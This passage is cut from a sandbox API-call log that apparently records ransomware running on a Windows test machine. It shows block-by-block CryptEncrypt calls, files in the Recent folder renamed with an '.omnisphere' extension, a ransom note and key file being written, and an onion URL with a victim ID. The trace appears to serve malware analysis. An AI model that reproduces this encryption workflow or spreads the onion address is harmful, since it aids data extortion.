(in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.093] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.093] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.093] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0119.093] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5f1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.093] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.094] GetProcessHeap () returned 0x1600000 [0119.094] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16ad890 [0119.094] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6xr7yrghkty.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6xr7yrghkty.lnk.omnisphere")) returned 1 [0119.095] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk.omnisphere.id" [0119.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6xr7yrghkty.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.096] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.097] CloseHandle (hObject=0x3c0) returned 1 [0119.098] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.098] CloseHandle (hObject=0x288) returned 1 [0119.098] SetEndOfFile (hFile=0x28c) returned 1 [0119.099] FlushFileBuffers (hFile=0x28c) returned 1 [0119.109] CloseHandle (hObject=0x28c) returned 1 [0119.111] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.111] GetProcessHeap () returned 0x1600000 [0119.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165e710 [0119.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.111] GetProcessHeap () returned 0x1600000 [0119.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693f80 [0119.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693f80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.111] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.113] GetProcessHeap () returned 0x1600000 [0119.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16aff28 [0119.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16aff28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.113] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.113] GetProcessHeap () returned 0x1600000 [0119.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a18f8 [0119.113] PathCombineW (in: pszDest=0x16a18f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.113] GetProcessHeap () returned 0x1600000 [0119.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a5710 [0119.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.113] WriteFile (in: hFile=0x28c, lpBuffer=0x16a5710*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a5710*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.114] CloseHandle (hObject=0x28c) returned 1 [0119.114] GetProcessHeap () returned 0x1600000 [0119.114] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e710 | out: hHeap=0x1600000) returned 1 [0119.114] GetProcessHeap () returned 0x1600000 [0119.114] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.114] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.115] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.115] CloseHandle (hObject=0x28c) returned 1 [0119.115] GetProcessHeap () returned 0x1600000 [0119.115] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.115] GetProcessHeap () returned 0x1600000 [0119.115] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656778 | out: hHeap=0x1600000) returned 1 [0119.115] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216949db, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x216949db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x216949db, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4e9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="7cwY3XNtx1KVaERb.lnk", cAlternateFileName="7CWY3X~1.LNK")) returned 1 [0119.115] GetProcessHeap () returned 0x1600000 [0119.115] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16a2758 [0119.115] PathCombineW (in: pszDest=0x16a2758, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="7cwY3XNtx1KVaERb.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk" [0119.115] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7cwy3xntx1kvaerb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.116] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1257) returned 1 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.116] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] GetTickCount () returned 0x115dc43 [0119.117] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669120) returned 1 [0119.118] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0119.118] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.118] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.118] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0119.118] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e9, lpName=0x0) returned 0x288 [0119.118] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e9) returned 0x1480000 [0119.119] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0119.120] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.120] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.120] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 